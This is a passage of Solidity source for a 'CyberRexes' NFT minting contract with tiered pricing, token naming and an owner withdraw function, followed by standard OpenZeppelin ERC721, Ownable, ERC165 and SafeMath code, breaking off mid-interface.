[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,088
0x9632ab03b47CC80624a917Bb66C72E7A534bED79
pragma solidity >=0.7.0; import "@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol"; interface IMintedBeforeReveal is IERC721Enumerable { function isMintedBeforeReveal(uint256 index) external view returns (bool); } pragma solidity >=0.7.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./IMintedBeforeReveal.sol"; contract Rexes is ERC721, Ownable, IMintedBeforeReveal { // This is the original provenance record of all CyberRexes in existence at the time. string public constant CYBERREXES_PROVENANCE = "7325ec1daac9ff26ac1a0c9cce64deb2a76d7f0e1d0d31a0c19658414ad8457e"; // Time of when the sale starts. uint256 public constant SALE_START_TIMESTAMP = 1616353200; // Time after which the CyberRexes are randomized and revealed (14 days from initial launch). uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 14); // Maximum amount of CyberRexes in existance. Ever. uint256 public constant MAX_CYBERREXES_SUPPLY = 10000; // The block in which the starting index was created. uint256 public startingIndexBlock; // The index of the item that will be #1. uint256 public startingIndex; // Mapping from token ID to name mapping (uint256 => string) private _tokenName; // Mapping if certain name string has already been reserved mapping (string => bool) private _nameReserved; // Mapping from token ID to whether the CyberRexes was minted before reveal. mapping (uint256 => bool) private _mintedBeforeReveal; // Events event NameChange (uint256 indexed rexIndex, string newName); constructor(string memory name, string memory symbol, string memory baseURI) ERC721(name, symbol) { _setBaseURI(baseURI); } /** * @dev Returns if the CyberRexes was minted before reveal phase. This could come in handy later. */ function isMintedBeforeReveal(uint256 index) public view override returns (bool) { return _mintedBeforeReveal[index]; } /** * @dev Gets current CyberRexes price based on current supply. */ function getRexMaxAmount() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started yet so you can't get a price yet."); require(totalSupply() < MAX_CYBERREXES_SUPPLY, "Sale has already ended, no more CyberRexes left to sell."); uint currentSupply = totalSupply(); return 20; } /** * @dev Gets current CyberRexes price based on current supply. */ function getRexPrice() public view returns (uint256) { require(block.timestamp >= SALE_START_TIMESTAMP, "Sale has not started yet so you can't get a price yet."); require(totalSupply() < MAX_CYBERREXES_SUPPLY, "Sale has already ended, no more CyberRexes left to sell."); uint currentSupply = totalSupply(); if (currentSupply >= 9990) { return 3000000000000000000; // 9990 - 9999 3 ETH } else if (currentSupply >= 9700) { return 1300000000000000000; // 9700 - 9989 1.3 ETH } else if (currentSupply >= 9000) { return 900000000000000000; // 9000 - 9699 0.9 ETH } else if (currentSupply >= 7500) { return 500000000000000000; // 7500 - 8999 0.5 ETH } else if (currentSupply >= 5500) { return 300000000000000000; // 5500 - 7499 0.3 ETH } else if (currentSupply >= 3000) { return 100000000000000000; // 3000 - 5499 0.1 ETH } else if (currentSupply >= 1000) { return 50000000000000000; // 1000 - 2999 0.05 ETH } else { return 10000000000000000; // 0 - 999 0.01 ETH } } /** * @dev Mints yourself a CyberRexes. Or more. You do you. */ function mintRex(uint256 numberOfRexes) public payable { // Some exceptions that need to be handled. require(totalSupply() < MAX_CYBERREXES_SUPPLY, "Sale has already ended."); require(numberOfRexes > 0, "You cannot mint 0 CyberRexes."); require(numberOfRexes <= getRexMaxAmount(), "You are not allowed to buy this many CyberRexes at once in this price tier."); require(SafeMath.add(totalSupply(), numberOfRexes) <= MAX_CYBERREXES_SUPPLY, "Exceeds maximum CyberRex supply. Please try to mint less CyberRexes."); require(SafeMath.mul(getRexPrice(), numberOfRexes) == msg.value, "Amount of Ether sent is not correct."); // Mint the amount of provided CyberRexes. for (uint i = 0; i < numberOfRexes; i++) { uint mintIndex = totalSupply(); if (block.timestamp < REVEAL_TIMESTAMP) { _mintedBeforeReveal[mintIndex] = true; } _safeMint(msg.sender, mintIndex); } // Source of randomness. Theoretical miner withhold manipulation possible but should be sufficient in a pragmatic sense // Set the starting block index when the sale concludes either time-wise or the supply runs out. if (startingIndexBlock == 0 && (totalSupply() == MAX_CYBERREXES_SUPPLY || block.timestamp >= REVEAL_TIMESTAMP)) { startingIndexBlock = block.number; } } /** * @dev Finalize starting index */ function finalizeStartingIndex() public { require(startingIndex == 0, "Starting index is already set"); require(startingIndexBlock != 0, "Starting index block must be set"); startingIndex = uint(blockhash(startingIndexBlock)) % MAX_CYBERREXES_SUPPLY; // Just a sanity case in the worst case if this function is called late (EVM only stores last 256 block hashes). if (SafeMath.sub(block.number, startingIndexBlock) > 255) { startingIndex = uint(blockhash(block.number-1)) % MAX_CYBERREXES_SUPPLY; } // Prevent default sequence because that would be a bit boring. if (startingIndex == 0) { startingIndex = SafeMath.add(startingIndex, 1); } } /** * @dev Withdraw ether from this contract (Callable by owner only) */ function withdraw() onlyOwner public { uint balance = address(this).balance; msg.sender.transfer(balance); } /** * @dev Returns name of the NFT at index. */ function tokenNameByIndex(uint256 index) public view returns (string memory) { return _tokenName[index]; } /** * @dev Returns if the name has been reserved. */ function isNameReserved(string memory nameString) public view returns (bool) { return _nameReserved[toLower(nameString)]; } /** * @dev Changes the name for CyberRex tokenId */ function changeName(uint256 tokenId, string memory newName) public { address owner = ownerOf(tokenId); require(_msgSender() == owner, "ERC721: caller is not the owner"); require(validateName(newName) == true, "Not a valid new name"); require(sha256(bytes(newName)) != sha256(bytes(_tokenName[tokenId])), "New name is same as the current one"); require(isNameReserved(newName) == false, "Name already reserved"); // If already named, dereserve old name if (bytes(_tokenName[tokenId]).length > 0) { toggleReserveName(_tokenName[tokenId], false); } toggleReserveName(newName, true); _tokenName[tokenId] = newName; emit NameChange(tokenId, newName); } /** * @dev Reserves the name if isReserve is set to true, de-reserves if set to false */ function toggleReserveName(string memory str, bool isReserve) internal { _nameReserved[toLower(str)] = isReserve; } /** * @dev Check if the name string is valid (Alphanumeric and spaces without leading or trailing space) */ function validateName(string memory str) public pure returns (bool){ bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } /** * @dev Converts the string to lowercase */ function toLower(string memory str) public pure returns (string memory){ bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } /** * @dev Changes the base URI if we want to move things in the future (Callable by owner only) */ function changeBaseURI(string memory baseURI) onlyOwner public { _setBaseURI(baseURI); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to 